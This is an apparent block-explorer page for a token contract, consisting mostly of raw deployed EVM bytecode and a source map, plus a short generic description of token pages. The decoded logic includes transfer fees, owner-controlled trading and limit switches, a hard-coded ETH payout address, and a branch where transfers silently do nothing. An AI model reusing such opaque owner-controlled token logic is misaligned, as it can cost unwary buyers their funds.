004611318565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b34801561040b575f80fd5b5061027b61041a3660046112fd565b6105e6565b5f61042b33848461064e565b5060015b92915050565b5f6104418484846106d3565b6001600160a01b0384165f9081526018602090815260408083203380855292529091205461047a91869161047590866109f1565b61064e565b5060015b9392505050565b5f546001600160a01b0316331461049a575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146104f3575f80fd5b612710600a8190556009819055600855565b5f546001600160a01b0316331461051a575f80fd5b600b805460ff19166001179055565b5f600454600a5461053960035490565b6105439190611363565b61054d919061137a565b905090565b5f60045460095461053960035490565b60176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303545f8080527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b54600354919261054d9290916105c491906109f1565b906109f1565b5f61042b3384846106d3565b5f60045460085461053960035490565b5f546001600160a01b031633146105fb575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038216610660575f80fd5b6001600160a01b038316610672575f80fd5b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116106de575f80fd5b6001600160a01b0382166106f0575f80fd5b6001600160a01b038316610702575f80fd5b61070c83836109fc565b801561071d575061071d8383610a58565b801561072f575061072f838383610aab565b80156107415750610741838383610b70565b156109ec5780610765846001600160a01b03165f9081526017602052604090205490565b106108d8576001600160a01b0383165f9081526016602052604090205460ff1615801561079f57506001546001600160a01b038381169116145b80156107c357506001600160a01b0382165f9081526016602052604090205460ff16155b80156107d75750600b54610100900460ff16155b156107f65760105460ff16156107ec57505050565b6107f68383610c3b565b6001600160a01b0383165f9081526017602052604090205461081890826109f1565b6001600160a01b0384165f9081526017602052604081209190915561083d8484610c7a565b6108475781610852565b610852848484610cbe565b6001600160a01b0384165f908152601760205260409020549091506108779082610dae565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108ca9085815260200190565b60405180910390a350505050565b6001600160a01b0383165f9081526016602052604090205460ff16801561090d57506001546001600160a01b03848116911614155b801561093157506001600160a01b0382165f9081526016602052604090205460ff16155b80156109455750600b54610100900460ff16155b156109ec576001600160a01b0382165f9081526017602052604090205461096c90826109f1565b6001600160a01b038084165f90815260176020526040808220939093559085168152205461099a9082610dae565b6001600160a01b038481165f8181526017602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c6565b505050565b5f61047e8284611399565b6001545f906001600160a01b038381169116148015610a3357506001600160a01b0383165f9081526016602052604090205460ff16155b1561042b576001600c5f828254610a4a91906113ac565b909155505050600192915050565b6001600160a01b0382165f9081526016602052604081205460ff16158015610a9857506001600160a01b0382165f9081526016602052604090205460ff16155b1561042b57600b5460ff1661042b575f80fd5b6001545f906001600160a01b03858116911614610b1957610aca6105d6565b82111580610aef57506001600160a01b0384165f9081526016602052604090205460ff165b80610b1157506001600160a01b0383165f9081526016602052604090205460ff165b610b19575f80fd5b610b21610529565b82111580610b4657506001600160a01b0384165f9081526016602052604090205460ff165b80610b6857506001600160a01b0383165f9081526016602052604090205460ff165b61047a575f80fd5b6001600160a01b038084165f90815260166020526040808220549285168252812054909160ff908116911681158015610ba7575080155b8015610bc157506001546001600160a01b03868116911614155b8015610bd857506001600160a01b03851661dead14155b15610c1157610be5610552565b6001600160a01b0386165f90815260176020526040902054610c079086610dae565b1115610c11575f80fd5b8015610c2f57600554841115610c2f576010805460ff191660011790555b50600195945050505050565b610c458282610db9565b15610c7657305f908152601760205260409020546007548110610c6757506007545b610c7081610e55565b505f600c555b5050565b6001600160a01b0382165f9081526016602052604081205460ff1615801561047e5750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610cca8585610fda565b1115610da7575f610cf2610cde8686610fda565b600454610cec908690611024565b9061102f565b305f90815260176020526040902054909150610d0e9082610dae565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d5e9085815260200190565b60405180910390a360115415610d9557610d953061dead610d90601154610cec6004548961102490919063ffffffff16565b6106d3565b610d9f83826109f1565b91505061047e565b5092915050565b5f61047e82846113ac565b6001600160a01b0382165f9081526016602052604081205460ff16158015610df957506001600160a01b0382165f9081526016602052604090205460ff16155b8015610e155750600654305f9081526017602052604090205410155b8015610e235750600d5460ff165b8015610e375750600b54610100900460ff16155b8015610e41575060015b801561047e575050600b5460ff1692915050565b600b805461ff0019166101001790556015546014546013545f92610e8e92600292610cec9291610e889182906001610dae565b90610dae565b90505f610eb082610eaa6013548661102f90919063ffffffff16565b90611024565b90505f610ebd84836109f1565b905047610ec98261103a565b5f610ed447836109f1565b90505f610ef6610eef601354886109f190919063ffffffff16565b8390611024565b90505f610f0e6013548361102f90919063ffffffff16565b90508015610f2057610f20868261119a565b6014545f90610f3490610cec85600261102f565b90508015610f7c576040517365108d328e7ab35aeefb386a6104c22293ce84619082156108fc029083905f818181858888f19350505050158015610f7a573d5f803e3d5ffd5b505b478015610fc3576040517365108d328e7ab35aeefb386a6104c22293ce84619082156108fc029083905f818181858888f19350505050158015610fc1573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6001545f906001600160a01b0390811690831603610ffb5750600e5461042f565b6001546001600160a01b039081169084160361101a5750600f5461042f565b5060125492915050565b5f61047e828461137a565b5f61047e8284611363565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106d5761106d6113bf565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e891906113d3565b816001815181106110fb576110fb6113bf565b6001600160a01b03909216602092830291909101909101528115610c76576002546111319030906001600160a01b03168461064e565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906111699085905f908690309042906004016113ee565b5f604051808303815f87803b158015611180575f80fd5b505af1158015611192573d5f803e3d5ffd5b505050505050565b6002546111b29030906001600160a01b03168461064e565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561121d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611242919061145e565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611292575f80fd5b50565b5f80604083850312156112a6575f80fd5b82356112b18161127e565b946020939093013593505050565b5f805f606084860312156112d1575f80fd5b83356112dc8161127e565b925060208401356112ec8161127e565b929592945050506040919091013590565b5f6020828403121561130d575f80fd5b813561047e8161127e565b5f8060408385031215611329575f80fd5b82356113348161127e565b915060208301356113448161127e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761042f5761042f61134f565b5f8261139457634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561042f5761042f61134f565b8082018082111561042f5761042f61134f565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e3575f80fd5b815161047e8161127e565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561143e5783516001600160a01b0316835260209384019390920191600101611417565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f60608486031215611470575f80fd5b505081516020830151604090930151909492935091905056fea26469706673582212207981770a0e7cf91b8e1a9481808ccf185a94e291ed29a15455fc8048263c3b5964736f6c634300081a0033

Deployed Bytecode Sourcemap

3230:12435:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4957:83;;;;;;;;;;-1:-1:-1;5027:5:0;;;;;;;;;;;;-1:-1:-1;;;5027:5:0;;;;4957:83;;;;;;;:::i;:::-;;;;;;;;8821:161;;;;;;;;;;-1:-1:-1;8821:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;8821:161:0;945:187:1;6567:100:0;;;;;;;;;;-1:-1:-1;6647:12:0;;6567:100;;;1283:25:1;;;1271:2;1256:18;6567:100:0;1137:177:1;10338:267:0;;;;;;;;;;-1:-1:-1;10338:267:0;;;;;:::i;:::-;;:::i;2267:103::-;;;;;;;;;;-1:-1:-1;2267:103:0;;;;;:::i;:::-;2322:4;2357:5;-1:-1:-1;;;;;2346:16:0;;;2357:5;;2346:16;;2267:103;5692:83;;;;;;;;;;-1:-1:-1;5692:83:0;;3508:2;2226:36:1;;2214:2;2199:18;5692:83:0;2084:184:1;6940:119:0;;;;;;;;;;-1:-1:-1;6940:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7033:18:0;7006:7;7033:18;;;:9;:18;;;;;;;6940:119;1963:139;;;;;;;;;;;;;:::i;:::-;;6408:151;;;;;;;;;;;;;:::i;4774:53::-;;;;;;;;;;-1:-1:-1;4774:53:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6308:92;;;;;;;;;;-1:-1:-1;6360:7:0;6387:5;-1:-1:-1;;;;;6387:5:0;6308:92;;;-1:-1:-1;;;;;2437:32:1;;;2419:51;;2407:2;2392:18;6308:92:0;2273:203:1;7067:87:0;;;;;;;;;;;;;:::i;13390:121::-;;;;;;;;;;;;;:::i;14619:127::-;;;;;;;;;;;;;:::i;5894:160::-;;;;;;;;;;;;;:::i;6062:87::-;;;;;;;;;;-1:-1:-1;6134:7:0;;;;;;;;;;;;-1:-1:-1;;;6134:7:0;;;;6062:87;;9427:167;;;;;;;;;;-1:-1:-1;9427:167:0;;;;;:::i;:::-;;:::i;14754:133::-;;;;;;;;;;;;;:::i;3304:22::-;;;;;;;;;;-1:-1:-1;3304:22:0;;;;-1:-1:-1;;;;;3304:22:0;;;6157:143;;;;;;;;;;-1:-1:-1;6157:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6265:18:0;;;6238:7;6265:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6157:143;2428:148;;;;;;;;;;-1:-1:-1;2428:148:0;;;;;:::i;:::-;;:::i;8821:161::-;8896:4;8913:37;8922:10;8934:7;8943:6;8913:8;:37::i;:::-;-1:-1:-1;8970:4:0;8821:161;;;;;:::o;10338:267::-;10436:4;10453:36;10463:6;10471:9;10482:6;10453:9;:36::i;:::-;-1:-1:-1;;;;;10529:19:0;;;;;;:11;:19;;;;;;;;10517:10;10529:31;;;;;;;;;10500:73;;10509:6;;10529:43;;10565:6;10529:35;:43::i;:::-;10500:8;:73::i;:::-;-1:-1:-1;10593:4:0;10338:267;;;;;;:::o;1963:139::-;2322:4;2357:5;-1:-1:-1;;;;;2357:5:0;2227:10;2346:16;2211:28;;;;;;2044:1:::1;2028:18:::0;;-1:-1:-1;;;;;;2028:18:0::1;::::0;;2062:32:::1;::::0;2419:51:1;;;2062:32:0::1;::::0;2407:2:1;2392:18;2062:32:0::1;;;;;;;1963:139::o:0;6408:151::-;2322:4;2357:5;-1:-1:-1;;;;;2357:5:0;2227:10;2346:16;2211:28;;;;;;6476:5:::1;6462:11;:19:::0;;;6492:15:::1;:23:::0;;;6526:17:::1;:25:::0;6408:151::o;7067:87::-;2322:4;2357:5;-1:-1:-1;;;;;2357:5:0;2227:10;2346:16;2211:28;;;;;;7122:17:::1;:24:::0;;-1:-1:-1;;7122:24:0::1;7142:4;7122:24;::::0;;7067:87::o;13390:121::-;13434:7;13491:12;;13477:11;;13461:13;6647:12;;;6567:100;13461:13;:27;;;;:::i;:::-;:42;;;;:::i;:::-;13454:49;;13390:121;:::o;14619:127::-;14665:7;14726:12;;14708:15;;14692:13;6647:12;;;6567:100;5894:160;7033:9;:18;;;;5953:7;7033:18;;;;;5980:12;;5953:7;;5980:66;;7033:18;;5980:39;;:12;:16;:39::i;:::-;:43;;:66::i;9427:167::-;9505:4;9522:40;9532:10;9544:9;9555:6;9522:9;:40::i;14754:133::-;14804:7;14867:12;;14847:17;;14831:13;6647:12;;;6567:100;2428:148;2322:4;2357:5;-1:-1:-1;;;;;2357:5:0;2227:10;2346:16;2211:28;;;;;;2508:5:::1;:15:::0;;-1:-1:-1;;;;;;2508:15:0::1;-1:-1:-1::0;;;;;2508:15:0;::::1;::::0;;::::1;::::0;;;2539:29:::1;::::0;2419:51:1;;;2539:29:0::1;::::0;2407:2:1;2392:18;2539:29:0::1;;;;;;;2428:148:::0;:::o;6675:257::-;-1:-1:-1;;;;;6768:21:0;;6760:30;;;;;;-1:-1:-1;;;;;6809:19:0;;6801:28;;;;;;-1:-1:-1;;;;;6840:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6892:32;;1283:25:1;;;6892:32:0;;1256:18:1;6892:32:0;;;;;;;;6675:257;;;:::o;7162:1651::-;7276:1;7259:6;:19;7251:28;;;;;;-1:-1:-1;;;;;7298:23:0;;7290:32;;;;;;-1:-1:-1;;;;;7341:20:0;;7333:29;;;;;;7393:33;7408:6;7416:9;7393:14;:33::i;:::-;:85;;;;;7443:35;7460:6;7468:9;7443:16;:35::i;:::-;7393:146;;;;;7495:44;7513:6;7521:9;7532:6;7495:17;:44::i;:::-;7393:211;;;;;7556:48;7578:6;7586:9;7597:6;7556:21;:48::i;:::-;7375:1431;;;7656:6;7635:17;7645:6;-1:-1:-1;;;;;7033:18:0;7006:7;7033:18;;;:9;:18;;;;;;;6940:119;7635:17;:27;7631:1164;;-1:-1:-1;;;;;7710:28:0;;;;;;:20;:28;;;;;;;;7709:29;:74;;;;-1:-1:-1;7776:7:0;;-1:-1:-1;;;;;7763:20:0;;;7776:7;;7763:20;7709:74;:131;;;;-1:-1:-1;;;;;;7809:31:0;;;;;;:20;:31;;;;;;;;7808:32;7709:131;:168;;;;-1:-1:-1;7866:11:0;;;;;;;7865:12;7709:168;7683:336;;;7924:17;;;;7920:30;;;7162:1651;;;:::o;7920:30::-;7972:27;7981:6;7989:9;7972:8;:27::i;:::-;-1:-1:-1;;;;;8057:17:0;;;;;;:9;:17;;;;;;:29;;8079:6;8057:21;:29::i;:::-;-1:-1:-1;;;;;8037:17:0;;;;;;:9;:17;;;;;:49;;;;8130:35;8047:6;8155:9;8130:16;:35::i;:::-;:87;;8211:6;8130:87;;;8168:40;8182:6;8190:9;8201:6;8168:13;:40::i;:::-;-1:-1:-1;;;;;8259:20:0;;;;;;:9;:20;;;;;;8105:112;;-1:-1:-1;8259:40:0;;8105:112;8259:24;:40::i;:::-;-1:-1:-1;;;;;8236:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8323:43;;;;;;;;;;8351:14;1283:25:1;;1271:2;1256:18;;1137:177;8323:43:0;;;;;;;;7664:718;7162:1651;;;:::o;7631:1164::-;-1:-1:-1;;;;;8410:28:0;;;;;;:20;:28;;;;;;;;:66;;;;-1:-1:-1;8469:7:0;;-1:-1:-1;;;;;8459:17:0;;;8469:7;;8459:17;;8410:66;:119;;;;-1:-1:-1;;;;;;8498:31:0;;;;;;:20;:31;;;;;;;;8497:32;8410:119;:152;;;;-1:-1:-1;8551:11:0;;;;;;;8550:12;8410:152;8388:407;;;-1:-1:-1;;;;;8620:20:0;;;;;;:9;:20;;;;;;:32;;8645:6;8620:24;:32::i;:::-;-1:-1:-1;;;;;8597:20:0;;;;;;;:9;:20;;;;;;:55;;;;8691:17;;;;;;;:29;;8713:6;8691:21;:29::i;:::-;-1:-1:-1;;;;;8671:17:0;;;;;;;:9;:17;;;;;;;;;:49;;;;8744:35;1283:25:1;;;8744:35:0;;;;8671:17;;8744:35;;1256:18:1;8744:35:0;1137:177:1;8388:407:0;7162:1651;;;:::o;573:98::-;631:7;658:5;662:1;658;:5;:::i;12176:233::-;12287:7;;12253:4;;-1:-1:-1;;;;;12274:20:0;;;12287:7;;12274:20;:53;;;;-1:-1:-1;;;;;;12299:28:0;;;;;;:20;:28;;;;;;;;12298:29;12274:53;12270:110;;;12366:1;12344:10;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;;12397:4:0;12176:233;;;;:::o;10613:254::-;-1:-1:-1;;;;;10719:28:0;;10697:4;10719:28;;;:20;:28;;;;;;;;10718:29;:65;;;;-1:-1:-1;;;;;;10752:31:0;;;;;;:20;:31;;;;;;;;10751:32;10718:65;10714:124;;;10808:17;;;;10800:26;;;;;8990:429;9127:7;;9096:4;;-1:-1:-1;;;;;9117:17:0;;;9127:7;;9117:17;9113:160;;9174:19;:17;:19::i;:::-;9159:11;:34;;:66;;;-1:-1:-1;;;;;;9197:28:0;;;;;;:20;:28;;;;;;;;9159:66;:101;;;-1:-1:-1;;;;;;9229:31:0;;;;;;:20;:31;;;;;;;;9159:101;9151:110;;;;;;9306:13;:11;:13::i;:::-;9291:11;:28;;:60;;;-1:-1:-1;;;;;;9323:28:0;;;;;;:20;:28;;;;;;;;9291:60;:95;;;-1:-1:-1;;;;;;9355:31:0;;;;;;:20;:31;;;;;;;;9291:95;9283:104;;;;;10875:753;-1:-1:-1;;;;;11023:28:0;;;10975:4;11023:28;;;:20;:28;;;;;;;11096:31;;;;;;;;10975:4;;11023:28;;;;;11096:31;11166:24;;:68;;;;;11208:26;11207:27;11166:68;:114;;;;-1:-1:-1;11272:7:0;;-1:-1:-1;;;;;11251:29:0;;;11272:7;;11251:29;;11166:114;:163;;;;-1:-1:-1;;;;;;11297:32:0;;3850:42;11297:32;;11166:163;11148:282;;;11402:15;:13;:15::i;:::-;-1:-1:-1;;;;;11365:20:0;;;;;;:9;:20;;;;;;:32;;11390:6;11365:24;:32::i;:::-;11364:53;;11356:62;;;;;;11446:26;11442:155;;;11502:23;;11493:6;:32;11489:97;;;11546:17;:24;;-1:-1:-1;;11546:24:0;11566:4;11546:24;;;11489:97;-1:-1:-1;11616:4:0;;10875:753;-1:-1:-1;;;;;10875:753:0:o;14895:419::-;14972:30;14984:6;14992:9;14972:11;:30::i;:::-;14968:339;;;15068:4;15019:28;7033:18;;;:9;:18;;;;;;15117:15;;15093:39;;15089:118;;-1:-1:-1;15176:15:0;;15089:118;15221:36;15236:20;15221:14;:36::i;:::-;-1:-1:-1;15293:1:0;15272:10;:23;14968:339;14895:419;;:::o;12842:181::-;-1:-1:-1;;;;;12951:28:0;;12926:4;12951:28;;;:20;:28;;;;;;;;12950:29;:65;;;;-1:-1:-1;;;;;;;12984:31:0;;;;;:20;:31;;;;;;;;12983:32;;12842:181;-1:-1:-1;12842:181:0:o;9602:728::-;9699:7;9761:1;9723:35;9740:6;9748:9;9723:16;:35::i;:::-;:39;9719:575;;;9779:28;9810:70;9844:35;9861:6;9869:9;9844:16;:35::i;:::-;9826:12;;9810:29;;:11;;:15;:29::i;:::-;:33;;:70::i;:::-;9940:4;9922:24;;;;:9;:24;;;;;;9779:101;;-1:-1:-1;9922:50:0;;9779:101;9922:28;:50::i;:::-;9913:4;9895:24;;;;:9;:24;;;;;;;:77;;;;9992:53;;-1:-1:-1;;;;;9992:53:0;;;;;;;10024:20;1283:25:1;;1271:2;1256:18;;1137:177;9992:53:0;;;;;;;;10064:14;;:27;10060:164;;10112:96;10130:4;3850:42;10158:49;10192:14;;10158:29;10174:12;;10158:11;:15;;:29;;;;:::i;:49::-;10112:9;:96::i;:::-;10245:37;:11;10261:20;10245:15;:37::i;:::-;10238:44;;;;;9719:575;-1:-1:-1;10311:11:0;9602:728;-1:-1:-1;;9602:728:0:o;679:98::-;737:7;764:5;768:1;764;:5;:::i;12417:417::-;-1:-1:-1;;;;;12536:28:0;;12496:4;12536:28;;;:20;:28;;;;;;;;12535:29;:78;;;;-1:-1:-1;;;;;;12582:31:0;;;;;;:20;:31;;;;;;;;12581:32;12535:78;:141;;;;-1:-1:-1;12658:18:0;;12648:4;7006:7;7033:18;;;:9;:18;;;;;;12630:46;;12535:141;:176;;;;-1:-1:-1;12693:18:0;;;;12535:176;:205;;;;-1:-1:-1;12729:11:0;;;;;;;12728:12;12535:205;:246;;;;-1:-1:-1;12757:24:0;12535:246;:280;;;;-1:-1:-1;;12798:17:0;;;;;12417:417;-1:-1:-1;;12417:417:0:o;13519:1092::-;5818:11;:18;;-1:-1:-1;;5818:18:0;;;;;13672:13:::1;::::0;13647:19:::1;::::0;13616::::1;::::0;5818:18;;13615:79:::1;::::0;13692:1:::1;::::0;13616:70:::1;::::0;13672:13;13616:51:::1;::::0;;;5832:4;13616:23:::1;:26::i;:::-;:30:::0;::::1;:51::i;13615:79::-;13593:101;;13705:26;13734:48;13770:11;13734:31;13745:19;;13734:6;:10;;:31;;;;:::i;:::-;:35:::0;::::1;:48::i;:::-;13705:77:::0;-1:-1:-1;13793:20:0::1;13816:30;:6:::0;13705:77;13816:10:::1;:30::i;:::-;13793:53:::0;-1:-1:-1;13878:21:0::1;13910:30;13793:53:::0;13910:16:::1;:30::i;:::-;13951:16;13970:37;:21;13996:10:::0;13970:25:::1;:37::i;:::-;13951:56;;14018:15;14036:50;14049:36;14065:19;;14049:11;:15;;:36;;;;:::i;:::-;14036:8:::0;;:12:::1;:50::i;:::-;14018:68;;14097:23;14123:32;14135:19;;14123:7;:11;;:32;;;;:::i;:::-;14097:58:::0;-1:-1:-1;14170:28:0;;14166:110:::1;;14215:49;14228:18;14248:15;14215:12;:49::i;:::-;14328:19;::::0;14286:20:::1;::::0;14309:39:::1;::::0;:14:::1;:7:::0;14321:1:::1;14309:11;:14::i;:39::-;14286:62:::0;-1:-1:-1;14363:16:0;;14359:96:::1;;14396:47;::::0;3675:42:::1;::::0;14396:47;::::1;;;::::0;14430:12;;14396:47:::1;::::0;;;14430:12;3675:42;14396:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14359:96;14483:21;14519:20:::0;;14515:89:::1;;14556:36;::::0;3762:42:::1;::::0;14556:36;::::1;;;::::0;14584:7;;14556:36:::1;::::0;;;14584:7;3762:42;14556:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14515:89;-1:-1:-1::0;;5859:11:0;:19;;-1:-1:-1;;5859:19:0;;;-1:-1:-1;;;;;;;;13519:1092:0:o;15359:303::-;15480:7;;15443;;-1:-1:-1;;;;;15480:7:0;;;15467:20;;;;15463:74;;-1:-1:-1;15511:14:0;;15504:21;;15463:74;15561:7;;-1:-1:-1;;;;;15561:7:0;;;15551:17;;;;15547:72;;-1:-1:-1;15592:15:0;;15585:22;;15547:72;-1:-1:-1;15636:18:0;;15359:303;;;;:::o;361:98::-;419:7;446:5;450:1;446;:5;:::i;467:98::-;525:7;552:5;556:1;552;:5;:::i;11640:528::-;11730:16;;;11744:1;11730:16;;;;;;;;11706:21;;11730:16;;;;;;;;;;-1:-1:-1;11730:16:0;11706:40;;11775:4;11757;11762:1;11757:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11757:23:0;;;:7;;;;;;;;;;:23;;;;11801:9;;:16;;;-1:-1:-1;;;11801:16:0;;;;:9;;;;;:14;;:16;;;;;11757:7;;11801:16;;;;;:9;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11791:4;11796:1;11791:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11791:26:0;;;:7;;;;;;;;;;;:26;11832:15;;11828:333;;11896:9;;11864:56;;11881:4;;-1:-1:-1;;;;;11896:9:0;11908:11;11864:8;:56::i;:::-;11935:9;;:214;;-1:-1:-1;;;11935:214:0;;-1:-1:-1;;;;;11935:9:0;;;;:60;;:214;;12014:11;;11935:9;;12064:4;;12095;;12119:15;;11935:214;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11695:473;11640:528;:::o;13031:351::-;13144:9;;13112:56;;13129:4;;-1:-1:-1;;;;;13144:9:0;13156:11;13112:8;:56::i;:::-;13179:9;;:195;;-1:-1:-1;;;13179:195:0;;13245:4;13179:195;;;5927:51:1;5994:18;;;5987:34;;;13179:9:0;6037:18:1;;;6030:34;;;6080:18;;;6073:34;3850:42:0;6123:19:1;;;6116:61;13348:15:0;6193:19:1;;;6186:35;-1:-1:-1;;;;;13179:9:0;;;;:25;;13212:9;;5899:19:1;;13179:195:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13031:351;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;1832:247::-;1891:6;1944:2;1932:9;1923:7;1919:23;1915:32;1912:52;;;1960:1;1957;1950:12;1912:52;1999:9;1986:23;2018:31;2043:5;2018:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:168;3339:9;;;3370;;3387:15;;;3381:22;;3367:37;3357:71;;3408:18;;:::i;3439:217::-;3479:1;3505;3495:132;;3549:10;3544:3;3540:20;3537:1;3530:31;3584:4;3581:1;3574:15;3612:4;3609:1;3602:15;3495:132;-1:-1:-1;3641:9:1;;3439:217::o;3877:128::-;3944:9;;;3965:11;;;3962:37;;;3979:18;;:::i;4010:125::-;4075:9;;;4096:10;;;4093:36;;;4109:18;;:::i;4272:127::-;4333:10;4328:3;4324:20;4321:1;4314:31;4364:4;4361:1;4354:15;4388:4;4385:1;4378:15;4404:251;4474:6;4527:2;4515:9;4506:7;4502:23;4498:32;4495:52;;;4543:1;4540;4533:12;4495:52;4575:9;4569:16;4594:31;4619:5;4594:31;:::i;4660:959::-;4922:4;4970:3;4959:9;4955:19;5001:6;4990:9;4983:25;5044:6;5039:2;5028:9;5024:18;5017:34;5087:3;5082:2;5071:9;5067:18;5060:31;5111:6;5146;5140:13;5177:6;5169;5162:22;5215:3;5204:9;5200:19;5193:26;;5254:2;5246:6;5242:15;5228:29;;5275:1;5285:195;5299:6;5296:1;5293:13;5285:195;;;5364:13;;-1:-1:-1;;;;;5360:39:1;5348:52;;5429:2;5455:15;;;;5420:12;;;;5396:1;5314:9;5285:195;;;-1:-1:-1;;;;;;;5536:32:1;;;;5531:2;5516:18;;5509:60;-1:-1:-1;;5600:3:1;5585:19;5578:35;5497:3;4660:959;-1:-1:-1;;;4660:959:1:o;6232:456::-;6320:6;6328;6336;6389:2;6377:9;6368:7;6364:23;6360:32;6357:52;;;6405:1;6402;6395:12;6357:52;-1:-1:-1;;6450:16:1;;6556:2;6541:18;;6535:25;6652:2;6637:18;;;6631:25;6450:16;;6535:25;;-1:-1:-1;6631:25:1;6232:456;-1:-1:-1;6232:456:1:o

Swarm Source

ipfs://7981770a0e7cf91b8e1a9481808ccf185a94e291ed29a15455fc8048263c3b59
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.